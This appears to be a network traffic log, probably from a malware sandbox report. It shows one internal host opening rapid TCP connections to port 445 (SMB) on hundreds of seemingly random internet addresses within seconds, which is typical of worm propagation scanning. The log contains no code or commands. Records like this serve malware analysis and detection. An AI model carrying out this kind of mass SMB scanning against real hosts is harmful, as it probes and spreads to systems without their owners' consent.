Jul 20, 2022 19:09:31.185481071 CEST	55254	445	192.168.2.7	155.74.222.76
Jul 20, 2022 19:09:31.185579062 CEST	55255	445	192.168.2.7	215.145.139.100
Jul 20, 2022 19:09:31.185663939 CEST	55256	445	192.168.2.7	95.22.189.61
Jul 20, 2022 19:09:31.185796022 CEST	55257	445	192.168.2.7	207.72.233.91
Jul 20, 2022 19:09:31.186009884 CEST	55265	445	192.168.2.7	61.9.76.140
Jul 20, 2022 19:09:31.186121941 CEST	55267	445	192.168.2.7	177.72.47.7
Jul 20, 2022 19:09:31.186151028 CEST	55268	445	192.168.2.7	146.189.235.7
Jul 20, 2022 19:09:31.186235905 CEST	55269	445	192.168.2.7	70.182.109.173
Jul 20, 2022 19:09:31.186269999 CEST	55270	445	192.168.2.7	8.37.181.117
Jul 20, 2022 19:09:31.288433075 CEST	55272	445	192.168.2.7	156.47.124.26
Jul 20, 2022 19:09:31.587131023 CEST	55287	445	192.168.2.7	102.120.87.52
Jul 20, 2022 19:09:31.587162971 CEST	55286	445	192.168.2.7	52.12.194.142
Jul 20, 2022 19:09:31.587413073 CEST	55290	445	192.168.2.7	150.103.53.53
Jul 20, 2022 19:09:31.587606907 CEST	55296	445	192.168.2.7	79.135.127.28
Jul 20, 2022 19:09:31.599056005 CEST	55227	445	192.168.2.7	139.59.55.68
Jul 20, 2022 19:09:31.765573025 CEST	445	55227	139.59.55.68	192.168.2.7
Jul 20, 2022 19:09:32.039906979 CEST	55302	445	192.168.2.7	124.242.15.218
Jul 20, 2022 19:09:32.041353941 CEST	55304	445	192.168.2.7	91.130.233.162
Jul 20, 2022 19:09:32.104665995 CEST	55305	445	192.168.2.7	37.85.88.244
Jul 20, 2022 19:09:32.164297104 CEST	55308	445	192.168.2.7	140.104.223.217
Jul 20, 2022 19:09:32.167721033 CEST	55312	445	192.168.2.7	160.43.140.10
Jul 20, 2022 19:09:32.168745995 CEST	55313	445	192.168.2.7	116.161.234.3
Jul 20, 2022 19:09:32.169771910 CEST	55314	445	192.168.2.7	184.217.183.142
Jul 20, 2022 19:09:32.170659065 CEST	55315	445	192.168.2.7	178.158.19.161
Jul 20, 2022 19:09:32.172394991 CEST	55317	445	192.168.2.7	218.200.174.242
Jul 20, 2022 19:09:32.173369884 CEST	55318	445	192.168.2.7	68.33.187.156
Jul 20, 2022 19:09:32.182910919 CEST	55320	445	192.168.2.7	217.251.183.33
Jul 20, 2022 19:09:32.266427994 CEST	55322	445	192.168.2.7	49.36.82.22
Jul 20, 2022 19:09:32.269977093 CEST	55323	445	192.168.2.7	209.172.162.205
Jul 20, 2022 19:09:32.270796061 CEST	55324	445	192.168.2.7	174.5.8.154
Jul 20, 2022 19:09:32.303858995 CEST	55328	445	192.168.2.7	22.213.173.205
Jul 20, 2022 19:09:32.325261116 CEST	55333	445	192.168.2.7	207.9.11.251
Jul 20, 2022 19:09:32.325829029 CEST	55334	445	192.168.2.7	135.216.37.0
Jul 20, 2022 19:09:32.326360941 CEST	55335	445	192.168.2.7	69.74.166.4
Jul 20, 2022 19:09:32.327018976 CEST	55336	445	192.168.2.7	3.194.87.163
Jul 20, 2022 19:09:32.327605009 CEST	55337	445	192.168.2.7	222.75.15.210
Jul 20, 2022 19:09:32.330355883 CEST	55342	445	192.168.2.7	185.31.200.98
Jul 20, 2022 19:09:32.335867882 CEST	55344	445	192.168.2.7	151.24.47.224
Jul 20, 2022 19:09:32.336462975 CEST	55345	445	192.168.2.7	1.215.150.124
Jul 20, 2022 19:09:32.351464987 CEST	55346	445	192.168.2.7	68.246.118.118
Jul 20, 2022 19:09:32.352041960 CEST	55347	445	192.168.2.7	87.31.50.77
Jul 20, 2022 19:09:32.412483931 CEST	55349	445	192.168.2.7	54.219.223.28
Jul 20, 2022 19:09:32.711227894 CEST	55363	445	192.168.2.7	91.42.165.212
Jul 20, 2022 19:09:32.712331057 CEST	55364	445	192.168.2.7	121.65.67.35
Jul 20, 2022 19:09:32.718131065 CEST	55367	445	192.168.2.7	76.174.72.119
Jul 20, 2022 19:09:32.718611956 CEST	55373	445	192.168.2.7	178.75.67.192
Jul 20, 2022 19:09:33.175641060 CEST	55380	445	192.168.2.7	221.61.37.67
Jul 20, 2022 19:09:33.175683975 CEST	55379	445	192.168.2.7	89.38.241.105
Jul 20, 2022 19:09:33.246871948 CEST	55382	445	192.168.2.7	191.91.55.197
Jul 20, 2022 19:09:33.505562067 CEST	54298	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:09:33.535391092 CEST	55385	445	192.168.2.7	94.115.52.36
Jul 20, 2022 19:09:33.535537958 CEST	55386	445	192.168.2.7	159.130.154.12
Jul 20, 2022 19:09:33.535542011 CEST	55387	445	192.168.2.7	62.63.245.175
Jul 20, 2022 19:09:33.535691023 CEST	55389	445	192.168.2.7	120.151.95.115
Jul 20, 2022 19:09:33.535907030 CEST	55395	445	192.168.2.7	58.148.175.253
Jul 20, 2022 19:09:33.535958052 CEST	55396	445	192.168.2.7	55.175.80.82
Jul 20, 2022 19:09:33.536089897 CEST	55388	445	192.168.2.7	51.183.152.19
Jul 20, 2022 19:09:33.536122084 CEST	55390	445	192.168.2.7	112.95.232.173
Jul 20, 2022 19:09:33.640634060 CEST	55410	445	192.168.2.7	47.204.113.189
Jul 20, 2022 19:09:33.642726898 CEST	55414	445	192.168.2.7	49.33.146.185
Jul 20, 2022 19:09:33.642791986 CEST	55413	445	192.168.2.7	70.163.121.176
Jul 20, 2022 19:09:33.643769979 CEST	55416	445	192.168.2.7	88.23.88.51
Jul 20, 2022 19:09:33.644299984 CEST	55417	445	192.168.2.7	128.25.137.31
Jul 20, 2022 19:09:33.644813061 CEST	55418	445	192.168.2.7	11.161.138.214
Jul 20, 2022 19:09:33.650705099 CEST	55423	445	192.168.2.7	178.15.220.44
Jul 20, 2022 19:09:33.651288986 CEST	55424	445	192.168.2.7	18.16.12.181
Jul 20, 2022 19:09:33.651892900 CEST	55425	445	192.168.2.7	99.164.164.228
Jul 20, 2022 19:09:33.652504921 CEST	55426	445	192.168.2.7	29.125.27.221
Jul 20, 2022 19:09:33.653096914 CEST	55427	445	192.168.2.7	18.168.248.69
Jul 20, 2022 19:09:33.655608892 CEST	55432	445	192.168.2.7	75.46.221.219
Jul 20, 2022 19:09:33.657684088 CEST	55436	445	192.168.2.7	68.141.155.41
Jul 20, 2022 19:09:33.658236027 CEST	55437	445	192.168.2.7	221.112.100.187
Jul 20, 2022 19:09:33.659060001 CEST	55438	445	192.168.2.7	69.134.102.1
Jul 20, 2022 19:09:33.660054922 CEST	55439	445	192.168.2.7	192.56.37.2
Jul 20, 2022 19:09:33.817212105 CEST	445	55413	70.163.121.176	192.168.2.7
Jul 20, 2022 19:09:33.848572016 CEST	445	55439	192.56.37.2	192.168.2.7
Jul 20, 2022 19:09:33.848881006 CEST	55439	445	192.168.2.7	192.56.37.2
Jul 20, 2022 19:09:33.856314898 CEST	55441	445	192.168.2.7	156.184.212.154
Jul 20, 2022 19:09:33.859251022 CEST	55442	445	192.168.2.7	174.5.76.159
Jul 20, 2022 19:09:33.863609076 CEST	55445	445	192.168.2.7	207.1.71.48
Jul 20, 2022 19:09:33.932051897 CEST	55451	445	192.168.2.7	80.85.72.64
Jul 20, 2022 19:09:33.938951015 CEST	55453	445	192.168.2.7	192.56.37.2
Jul 20, 2022 19:09:34.119174004 CEST	445	55453	192.56.37.2	192.168.2.7
Jul 20, 2022 19:09:34.119412899 CEST	55453	445	192.168.2.7	192.56.37.2
Jul 20, 2022 19:09:34.277889967 CEST	55457	445	192.168.2.7	70.111.242.132
Jul 20, 2022 19:09:34.278702021 CEST	55458	445	192.168.2.7	180.202.1.146
Jul 20, 2022 19:09:34.318948030 CEST	55413	445	192.168.2.7	70.163.121.176
Jul 20, 2022 19:09:34.411895037 CEST	55439	445	192.168.2.7	192.56.37.2
Jul 20, 2022 19:09:34.465051889 CEST	55463	445	192.168.2.7	54.24.83.14
Jul 20, 2022 19:09:34.490031958 CEST	445	55413	70.163.121.176	192.168.2.7
Jul 20, 2022 19:09:34.708736897 CEST	55453	445	192.168.2.7	192.56.37.2
Jul 20, 2022 19:09:34.896262884 CEST	55439	445	192.168.2.7	192.56.37.2
Jul 20, 2022 19:09:35.005644083 CEST	55413	445	192.168.2.7	70.163.121.176
Jul 20, 2022 19:09:35.177522898 CEST	55453	445	192.168.2.7	192.56.37.2
Jul 20, 2022 19:09:35.177577972 CEST	445	55413	70.163.121.176	192.168.2.7
Jul 20, 2022 19:09:35.272712946 CEST	55464	445	192.168.2.7	223.93.209.228
Jul 20, 2022 19:09:35.275281906 CEST	55469	445	192.168.2.7	188.177.141.6
Jul 20, 2022 19:09:35.490993977 CEST	55474	445	192.168.2.7	101.158.172.110
Jul 20, 2022 19:09:35.491148949 CEST	55477	445	192.168.2.7	167.90.234.65
Jul 20, 2022 19:09:35.491322041 CEST	55478	445	192.168.2.7	198.1.233.16
Jul 20, 2022 19:09:35.491465092 CEST	55480	445	192.168.2.7	199.203.251.178
Jul 20, 2022 19:09:35.491517067 CEST	55481	445	192.168.2.7	1.178.95.8
Jul 20, 2022 19:09:35.491604090 CEST	55482	445	192.168.2.7	90.30.82.116
Jul 20, 2022 19:09:35.491774082 CEST	55486	445	192.168.2.7	39.148.21.104
Jul 20, 2022 19:09:35.491910934 CEST	55489	445	192.168.2.7	112.115.89.41
Jul 20, 2022 19:09:35.491983891 CEST	55490	445	192.168.2.7	61.152.185.151
Jul 20, 2022 19:09:35.492082119 CEST	55491	445	192.168.2.7	139.90.47.18
Jul 20, 2022 19:09:35.492165089 CEST	55492	445	192.168.2.7	88.192.207.105
Jul 20, 2022 19:09:35.492259979 CEST	55493	445	192.168.2.7	173.182.64.69
Jul 20, 2022 19:09:35.492400885 CEST	55496	445	192.168.2.7	108.94.144.107
Jul 20, 2022 19:09:35.492578030 CEST	55500	445	192.168.2.7	153.136.166.120
Jul 20, 2022 19:09:35.492716074 CEST	55501	445	192.168.2.7	221.63.29.24
Jul 20, 2022 19:09:35.492739916 CEST	55502	445	192.168.2.7	27.159.90.217
Jul 20, 2022 19:09:35.493341923 CEST	55512	445	192.168.2.7	31.56.28.206
Jul 20, 2022 19:09:35.493447065 CEST	55513	445	192.168.2.7	138.112.126.73
Jul 20, 2022 19:09:35.493537903 CEST	55514	445	192.168.2.7	144.51.106.218
Jul 20, 2022 19:09:35.493630886 CEST	55515	445	192.168.2.7	170.79.87.82
Jul 20, 2022 19:09:35.493705034 CEST	55516	445	192.168.2.7	78.131.66.61
Jul 20, 2022 19:09:35.493879080 CEST	55520	445	192.168.2.7	199.118.217.136
Jul 20, 2022 19:09:35.493958950 CEST	55521	445	192.168.2.7	107.62.108.241
Jul 20, 2022 19:09:35.494092941 CEST	55524	445	192.168.2.7	73.229.165.96
Jul 20, 2022 19:09:35.494452953 CEST	55533	445	192.168.2.7	47.60.15.67
Jul 20, 2022 19:09:35.500910044 CEST	55535	445	192.168.2.7	62.226.155.163
Jul 20, 2022 19:09:35.501662970 CEST	55536	445	192.168.2.7	72.51.29.157
Jul 20, 2022 19:09:35.572630882 CEST	445	55480	199.203.251.178	192.168.2.7
Jul 20, 2022 19:09:35.602287054 CEST	55541	445	192.168.2.7	73.130.245.211
Jul 20, 2022 19:09:36.115083933 CEST	55480	445	192.168.2.7	199.203.251.178
Jul 20, 2022 19:09:36.130748034 CEST	55439	445	192.168.2.7	192.56.37.2
Jul 20, 2022 19:09:36.196667910 CEST	445	55480	199.203.251.178	192.168.2.7
Jul 20, 2022 19:09:36.302592039 CEST	55453	445	192.168.2.7	192.56.37.2
Jul 20, 2022 19:09:36.588757992 CEST	55544	445	192.168.2.7	172.125.51.168
Jul 20, 2022 19:09:36.591614008 CEST	55549	445	192.168.2.7	40.235.185.93
Jul 20, 2022 19:09:36.993113995 CEST	55562	445	192.168.2.7	82.69.177.40
Jul 20, 2022 19:09:36.993217945 CEST	55565	445	192.168.2.7	16.126.28.213
Jul 20, 2022 19:09:36.993237019 CEST	55563	445	192.168.2.7	63.235.211.48
Jul 20, 2022 19:09:36.993272066 CEST	55564	445	192.168.2.7	33.26.129.220
Jul 20, 2022 19:09:36.993556023 CEST	55570	445	192.168.2.7	221.150.162.133
Jul 20, 2022 19:09:36.993670940 CEST	55569	445	192.168.2.7	63.159.92.5
Jul 20, 2022 19:09:36.993674994 CEST	55571	445	192.168.2.7	123.73.205.227
Jul 20, 2022 19:09:36.993722916 CEST	55574	445	192.168.2.7	203.46.209.112
Jul 20, 2022 19:09:36.994009018 CEST	55583	445	192.168.2.7	134.5.156.89
Jul 20, 2022 19:09:36.994086027 CEST	55585	445	192.168.2.7	168.232.53.157
Jul 20, 2022 19:09:36.994215012 CEST	55587	445	192.168.2.7	45.201.35.40
Jul 20, 2022 19:09:36.994326115 CEST	55592	445	192.168.2.7	46.52.220.134
Jul 20, 2022 19:09:36.994467974 CEST	55596	445	192.168.2.7	215.18.50.233
Jul 20, 2022 19:09:36.994493008 CEST	55597	445	192.168.2.7	59.239.113.21
Jul 20, 2022 19:09:36.994553089 CEST	55598	445	192.168.2.7	155.217.150.227
Jul 20, 2022 19:09:36.994657040 CEST	55600	445	192.168.2.7	93.139.160.131
Jul 20, 2022 19:09:36.994769096 CEST	55603	445	192.168.2.7	85.122.54.44
Jul 20, 2022 19:09:36.994787931 CEST	55604	445	192.168.2.7	101.169.178.45
Jul 20, 2022 19:09:36.994891882 CEST	55605	445	192.168.2.7	131.194.39.58
Jul 20, 2022 19:09:36.994898081 CEST	55606	445	192.168.2.7	147.86.160.154
Jul 20, 2022 19:09:36.994988918 CEST	55607	445	192.168.2.7	56.225.181.68
Jul 20, 2022 19:09:36.995006084 CEST	55608	445	192.168.2.7	147.234.166.150
Jul 20, 2022 19:09:36.995157003 CEST	55611	445	192.168.2.7	156.222.65.226
Jul 20, 2022 19:09:36.995191097 CEST	55612	445	192.168.2.7	142.186.151.12
Jul 20, 2022 19:09:36.995333910 CEST	55614	445	192.168.2.7	73.0.216.198
Jul 20, 2022 19:09:36.995337009 CEST	55615	445	192.168.2.7	86.125.190.34
Jul 20, 2022 19:09:36.995400906 CEST	55616	445	192.168.2.7	198.201.128.145
Jul 20, 2022 19:09:37.000818968 CEST	55619	445	192.168.2.7	4.158.145.118
Jul 20, 2022 19:09:37.103600025 CEST	445	55592	46.52.220.134	192.168.2.7
Jul 20, 2022 19:09:37.630899906 CEST	55592	445	192.168.2.7	46.52.220.134
Jul 20, 2022 19:09:37.711298943 CEST	55623	445	192.168.2.7	221.28.223.223
Jul 20, 2022 19:09:37.714174032 CEST	55628	445	192.168.2.7	177.133.193.254
Jul 20, 2022 19:09:37.740156889 CEST	445	55592	46.52.220.134	192.168.2.7
Jul 20, 2022 19:09:38.119282961 CEST	55634	445	192.168.2.7	137.83.85.83
Jul 20, 2022 19:09:38.119472980 CEST	55638	445	192.168.2.7	43.200.212.181
Jul 20, 2022 19:09:38.172991991 CEST	55642	445	192.168.2.7	2.31.203.252
Jul 20, 2022 19:09:38.173083067 CEST	55643	445	192.168.2.7	116.152.17.193
Jul 20, 2022 19:09:38.189066887 CEST	55653	445	192.168.2.7	155.67.122.103
Jul 20, 2022 19:09:38.189270020 CEST	55654	445	192.168.2.7	170.113.91.211
Jul 20, 2022 19:09:38.189404964 CEST	55657	445	192.168.2.7	107.206.36.74
Jul 20, 2022 19:09:38.189706087 CEST	55659	445	192.168.2.7	87.36.234.16
Jul 20, 2022 19:09:38.189913034 CEST	55663	445	192.168.2.7	198.91.151.18
Jul 20, 2022 19:09:38.190035105 CEST	55664	445	192.168.2.7	53.239.92.181
Jul 20, 2022 19:09:38.190037966 CEST	55662	445	192.168.2.7	187.30.56.107
Jul 20, 2022 19:09:38.190397978 CEST	55675	445	192.168.2.7	17.24.31.20
Jul 20, 2022 19:09:38.190582037 CEST	55676	445	192.168.2.7	113.185.83.54
Jul 20, 2022 19:09:38.190610886 CEST	55679	445	192.168.2.7	72.9.43.234
Jul 20, 2022 19:09:38.190665007 CEST	55665	445	192.168.2.7	169.148.73.114
Jul 20, 2022 19:09:38.190679073 CEST	55680	445	192.168.2.7	130.20.98.173
Jul 20, 2022 19:09:38.190685987 CEST	55682	445	192.168.2.7	113.78.127.189
Jul 20, 2022 19:09:38.190686941 CEST	55681	445	192.168.2.7	138.6.234.173
Jul 20, 2022 19:09:38.190810919 CEST	55683	445	192.168.2.7	212.63.158.161
Jul 20, 2022 19:09:38.190857887 CEST	55685	445	192.168.2.7	130.103.131.40
Jul 20, 2022 19:09:38.190998077 CEST	55689	445	192.168.2.7	165.103.181.250
Jul 20, 2022 19:09:38.191090107 CEST	55690	445	192.168.2.7	121.58.250.19
Jul 20, 2022 19:09:38.191191912 CEST	55693	445	192.168.2.7	200.24.45.247
Jul 20, 2022 19:09:38.191210985 CEST	55688	445	192.168.2.7	184.30.179.75
Jul 20, 2022 19:09:38.191229105 CEST	55694	445	192.168.2.7	117.132.51.7
Jul 20, 2022 19:09:38.191298008 CEST	55695	445	192.168.2.7	151.173.218.213
Jul 20, 2022 19:09:38.191446066 CEST	55698	445	192.168.2.7	110.22.41.123
Jul 20, 2022 19:09:38.191658974 CEST	55699	445	192.168.2.7	201.178.229.250
Jul 20, 2022 19:09:38.239047050 CEST	445	55634	137.83.85.83	192.168.2.7
Jul 20, 2022 19:09:38.427781105 CEST	55439	445	192.168.2.7	192.56.37.2
Jul 20, 2022 19:09:38.494039059 CEST	55453	445	192.168.2.7	192.56.37.2
Jul 20, 2022 19:09:38.802834034 CEST	55634	445	192.168.2.7	137.83.85.83
Jul 20, 2022 19:09:38.835201979 CEST	55702	445	192.168.2.7	70.5.20.45
Jul 20, 2022 19:09:38.838427067 CEST	55708	445	192.168.2.7	52.228.89.28
Jul 20, 2022 19:09:38.920985937 CEST	445	55634	137.83.85.83	192.168.2.7
Jul 20, 2022 19:09:39.227423906 CEST	55713	445	192.168.2.7	76.132.124.197
Jul 20, 2022 19:09:39.227534056 CEST	55715	445	192.168.2.7	191.44.69.114
Jul 20, 2022 19:09:39.308307886 CEST	55723	445	192.168.2.7	50.101.147.189
Jul 20, 2022 19:09:39.308357954 CEST	55721	445	192.168.2.7	169.243.56.227
Jul 20, 2022 19:09:39.308752060 CEST	55733	445	192.168.2.7	134.31.4.139
Jul 20, 2022 19:09:39.321621895 CEST	55735	445	192.168.2.7	67.109.239.60
Jul 20, 2022 19:09:39.354578972 CEST	55738	445	192.168.2.7	17.166.234.12
Jul 20, 2022 19:09:39.354875088 CEST	55744	445	192.168.2.7	66.125.109.201
Jul 20, 2022 19:09:39.354964018 CEST	55745	445	192.168.2.7	46.91.239.192
Jul 20, 2022 19:09:39.355053902 CEST	55746	445	192.168.2.7	56.95.83.154
Jul 20, 2022 19:09:39.355174065 CEST	55747	445	192.168.2.7	203.227.49.207
Jul 20, 2022 19:09:39.355345011 CEST	55751	445	192.168.2.7	104.78.75.222
Jul 20, 2022 19:09:39.355483055 CEST	55752	445	192.168.2.7	115.248.71.93
Jul 20, 2022 19:09:39.355545998 CEST	55754	445	192.168.2.7	153.22.148.48
Jul 20, 2022 19:09:39.355647087 CEST	55755	445	192.168.2.7	212.43.3.37
Jul 20, 2022 19:09:39.355801105 CEST	55758	445	192.168.2.7	6.42.212.118
Jul 20, 2022 19:09:39.355899096 CEST	55759	445	192.168.2.7	37.108.169.23
Jul 20, 2022 19:09:39.356216908 CEST	55763	445	192.168.2.7	136.130.153.107
Jul 20, 2022 19:09:39.375155926 CEST	55765	445	192.168.2.7	24.231.1.34
Jul 20, 2022 19:09:39.375370979 CEST	55767	445	192.168.2.7	133.30.201.223
Jul 20, 2022 19:09:39.375544071 CEST	55770	445	192.168.2.7	128.179.168.227
Jul 20, 2022 19:09:39.375660896 CEST	55771	445	192.168.2.7	153.145.7.199
Jul 20, 2022 19:09:39.375761986 CEST	55772	445	192.168.2.7	163.72.225.152
Jul 20, 2022 19:09:39.375861883 CEST	55773	445	192.168.2.7	7.46.104.100
Jul 20, 2022 19:09:39.376030922 CEST	55776	445	192.168.2.7	105.217.11.65
Jul 20, 2022 19:09:39.376166105 CEST	55778	445	192.168.2.7	106.219.165.245
Jul 20, 2022 19:09:39.376256943 CEST	55779	445	192.168.2.7	215.190.68.148
Jul 20, 2022 19:09:39.379822969 CEST	55764	445	192.168.2.7	220.32.133.75
Jul 20, 2022 19:09:39.964822054 CEST	55782	445	192.168.2.7	199.200.251.38
Jul 20, 2022 19:09:39.968945980 CEST	55788	445	192.168.2.7	143.95.196.114
Jul 20, 2022 19:09:40.336009979 CEST	55794	445	192.168.2.7	49.65.75.189
Jul 20, 2022 19:09:40.337455988 CEST	55796	445	192.168.2.7	130.202.202.130
Jul 20, 2022 19:09:40.440016985 CEST	55803	445	192.168.2.7	99.195.37.79
Jul 20, 2022 19:09:40.440143108 CEST	55808	445	192.168.2.7	182.130.218.196
Jul 20, 2022 19:09:40.440316916 CEST	55813	445	192.168.2.7	72.46.51.144
Jul 20, 2022 19:09:40.445167065 CEST	55815	445	192.168.2.7	78.23.14.150
Jul 20, 2022 19:09:40.504347086 CEST	55816	445	192.168.2.7	186.142.200.153
Jul 20, 2022 19:09:40.528271914 CEST	55823	445	192.168.2.7	129.232.249.178
Jul 20, 2022 19:09:40.528393984 CEST	55825	445	192.168.2.7	130.239.74.13
Jul 20, 2022 19:09:40.528398037 CEST	55826	445	192.168.2.7	144.184.167.52
Jul 20, 2022 19:09:40.528412104 CEST	55827	445	192.168.2.7	184.155.125.244
Jul 20, 2022 19:09:40.528546095 CEST	55830	445	192.168.2.7	121.213.207.12
Jul 20, 2022 19:09:40.528673887 CEST	55832	445	192.168.2.7	50.39.60.17
Jul 20, 2022 19:09:40.528759003 CEST	55834	445	192.168.2.7	214.242.78.170
Jul 20, 2022 19:09:40.528785944 CEST	55835	445	192.168.2.7	152.189.163.46
Jul 20, 2022 19:09:40.528920889 CEST	55838	445	192.168.2.7	186.172.244.19
Jul 20, 2022 19:09:40.529026031 CEST	55840	445	192.168.2.7	139.29.208.73
Jul 20, 2022 19:09:40.529109001 CEST	55843	445	192.168.2.7	106.245.51.47
Jul 20, 2022 19:09:40.529201984 CEST	55845	445	192.168.2.7	48.166.59.78
Jul 20, 2022 19:09:40.529314995 CEST	55847	445	192.168.2.7	51.138.43.177
Jul 20, 2022 19:09:40.529486895 CEST	55851	445	192.168.2.7	173.105.62.40
Jul 20, 2022 19:09:40.529567003 CEST	55852	445	192.168.2.7	141.145.188.76
Jul 20, 2022 19:09:40.529589891 CEST	55853	445	192.168.2.7	28.233.126.160
Jul 20, 2022 19:09:40.529652119 CEST	55854	445	192.168.2.7	12.46.50.234
Jul 20, 2022 19:09:40.529711962 CEST	55855	445	192.168.2.7	84.63.99.58
Jul 20, 2022 19:09:40.529815912 CEST	55857	445	192.168.2.7	11.172.79.160
Jul 20, 2022 19:09:40.529824018 CEST	55858	445	192.168.2.7	67.119.157.140
Jul 20, 2022 19:09:40.529933929 CEST	55859	445	192.168.2.7	116.136.57.240
Jul 20, 2022 19:09:41.070007086 CEST	55863	445	192.168.2.7	39.187.77.159
Jul 20, 2022 19:09:41.083919048 CEST	55868	445	192.168.2.7	50.54.34.117
Jul 20, 2022 19:09:41.448303938 CEST	55875	445	192.168.2.7	83.61.213.206
Jul 20, 2022 19:09:41.463572979 CEST	55877	445	192.168.2.7	68.95.124.3
Jul 20, 2022 19:09:41.558809996 CEST	55888	445	192.168.2.7	59.234.62.28
Jul 20, 2022 19:09:41.559375048 CEST	55889	445	192.168.2.7	96.151.28.66
Jul 20, 2022 19:09:41.562340021 CEST	55894	445	192.168.2.7	196.232.179.201
Jul 20, 2022 19:09:41.578912973 CEST	55896	445	192.168.2.7	9.131.106.225
Jul 20, 2022 19:09:41.624078989 CEST	55898	445	192.168.2.7	40.5.251.252
Jul 20, 2022 19:09:41.632852077 CEST	55902	445	192.168.2.7	185.56.150.45
Jul 20, 2022 19:09:41.633460999 CEST	55903	445	192.168.2.7	62.96.45.214
Jul 20, 2022 19:09:41.634016991 CEST	55904	445	192.168.2.7	99.166.100.190
Jul 20, 2022 19:09:41.634542942 CEST	55905	445	192.168.2.7	163.198.245.127
Jul 20, 2022 19:09:41.636487961 CEST	55909	445	192.168.2.7	176.206.175.235
Jul 20, 2022 19:09:41.637041092 CEST	55910	445	192.168.2.7	97.26.114.50
Jul 20, 2022 19:09:41.638670921 CEST	55912	445	192.168.2.7	194.229.114.199
Jul 20, 2022 19:09:41.640372038 CEST	55915	445	192.168.2.7	35.216.43.50
Jul 20, 2022 19:09:41.641577005 CEST	55917	445	192.168.2.7	157.29.242.120
Jul 20, 2022 19:09:41.643652916 CEST	55921	445	192.168.2.7	52.8.151.1
Jul 20, 2022 19:09:41.644218922 CEST	55922	445	192.168.2.7	168.92.233.167
Jul 20, 2022 19:09:41.644747972 CEST	55923	445	192.168.2.7	103.175.173.150
Jul 20, 2022 19:09:41.645844936 CEST	55925	445	192.168.2.7	113.77.71.239
Jul 20, 2022 19:09:41.669337034 CEST	55929	445	192.168.2.7	64.212.190.100
Jul 20, 2022 19:09:41.669922113 CEST	55930	445	192.168.2.7	180.3.249.238
Jul 20, 2022 19:09:41.670561075 CEST	55931	445	192.168.2.7	30.234.212.123
Jul 20, 2022 19:09:41.671370983 CEST	55932	445	192.168.2.7	139.122.101.96
Jul 20, 2022 19:09:41.676834106 CEST	55938	445	192.168.2.7	48.98.230.64
Jul 20, 2022 19:09:41.677015066 CEST	55940	445	192.168.2.7	129.226.73.104
Jul 20, 2022 19:09:41.677059889 CEST	55939	445	192.168.2.7	164.131.248.201
Jul 20, 2022 19:09:41.677107096 CEST	55941	445	192.168.2.7	111.70.149.93
Jul 20, 2022 19:09:41.823755980 CEST	445	55921	52.8.151.1	192.168.2.7
Jul 20, 2022 19:09:42.194572926 CEST	55944	445	192.168.2.7	28.201.73.169
Jul 20, 2022 19:09:42.212765932 CEST	55950	445	192.168.2.7	1.140.232.3
Jul 20, 2022 19:09:42.334346056 CEST	55921	445	192.168.2.7	52.8.151.1
Jul 20, 2022 19:09:42.514748096 CEST	445	55921	52.8.151.1	192.168.2.7
Jul 20, 2022 19:09:42.571806908 CEST	55957	445	192.168.2.7	3.171.203.13
Jul 20, 2022 19:09:42.590754986 CEST	55960	445	192.168.2.7	43.221.31.125
Jul 20, 2022 19:09:42.711719990 CEST	55969	445	192.168.2.7	172.74.41.72
Jul 20, 2022 19:09:42.711802006 CEST	55971	445	192.168.2.7	26.236.158.22
Jul 20, 2022 19:09:42.712133884 CEST	55977	445	192.168.2.7	115.84.243.55
Jul 20, 2022 19:09:42.713536024 CEST	55978	445	192.168.2.7	20.195.64.183
Jul 20, 2022 19:09:42.740674019 CEST	55453	445	192.168.2.7	192.56.37.2
Jul 20, 2022 19:09:42.755908012 CEST	55980	445	192.168.2.7	189.150.231.28
Jul 20, 2022 19:09:42.769299984 CEST	55983	445	192.168.2.7	169.0.237.99
Jul 20, 2022 19:09:42.769496918 CEST	55985	445	192.168.2.7	87.228.205.47
Jul 20, 2022 19:09:42.769808054 CEST	55986	445	192.168.2.7	3.57.98.93
Jul 20, 2022 19:09:42.769965887 CEST	55987	445	192.168.2.7	102.64.169.192
Jul 20, 2022 19:09:42.770282984 CEST	55991	445	192.168.2.7	72.134.79.50
Jul 20, 2022 19:09:42.770477057 CEST	55993	445	192.168.2.7	27.106.204.22
Jul 20, 2022 19:09:42.770629883 CEST	55996	445	192.168.2.7	129.219.30.83
Jul 20, 2022 19:09:42.770806074 CEST	55998	445	192.168.2.7	72.129.215.145
Jul 20, 2022 19:09:42.770889997 CEST	55999	445	192.168.2.7	222.7.3.55
Jul 20, 2022 19:09:42.771130085 CEST	56003	445	192.168.2.7	126.45.119.190
Jul 20, 2022 19:09:42.771297932 CEST	56005	445	192.168.2.7	194.196.223.246
Jul 20, 2022 19:09:42.771393061 CEST	56006	445	192.168.2.7	195.29.240.113
Jul 20, 2022 19:09:42.801306963 CEST	56009	445	192.168.2.7	101.235.117.115
Jul 20, 2022 19:09:42.801328897 CEST	56008	445	192.168.2.7	97.59.144.92
Jul 20, 2022 19:09:42.801398039 CEST	56010	445	192.168.2.7	80.64.109.28
Jul 20, 2022 19:09:42.801536083 CEST	56011	445	192.168.2.7	29.247.226.11
Jul 20, 2022 19:09:42.807698965 CEST	56014	445	192.168.2.7	75.182.113.112
Jul 20, 2022 19:09:42.807795048 CEST	56017	445	192.168.2.7	37.141.106.43
Jul 20, 2022 19:09:42.807823896 CEST	56016	445	192.168.2.7	86.153.1.13
Jul 20, 2022 19:09:42.807893991 CEST	56018	445	192.168.2.7	165.3.122.129
Jul 20, 2022 19:09:42.881361961 CEST	55439	445	192.168.2.7	192.56.37.2
Jul 20, 2022 19:09:42.974893093 CEST	445	56018	165.3.122.129	192.168.2.7
Jul 20, 2022 19:09:42.975094080 CEST	56018	445	192.168.2.7	165.3.122.129
Jul 20, 2022 19:09:42.975603104 CEST	56018	445	192.168.2.7	165.3.122.129
Jul 20, 2022 19:09:42.976577044 CEST	56024	445	192.168.2.7	165.3.122.1
Jul 20, 2022 19:09:43.143485069 CEST	445	56024	165.3.122.1	192.168.2.7
Jul 20, 2022 19:09:43.143642902 CEST	56024	445	192.168.2.7	165.3.122.1
Jul 20, 2022 19:09:43.143851042 CEST	56024	445	192.168.2.7	165.3.122.1
Jul 20, 2022 19:09:43.146364927 CEST	56026	445	192.168.2.7	165.3.122.1
Jul 20, 2022 19:09:43.319905996 CEST	56028	445	192.168.2.7	147.233.225.183
Jul 20, 2022 19:09:43.337376118 CEST	56034	445	192.168.2.7	31.184.227.178
Jul 20, 2022 19:09:43.521883965 CEST	56018	445	192.168.2.7	165.3.122.129
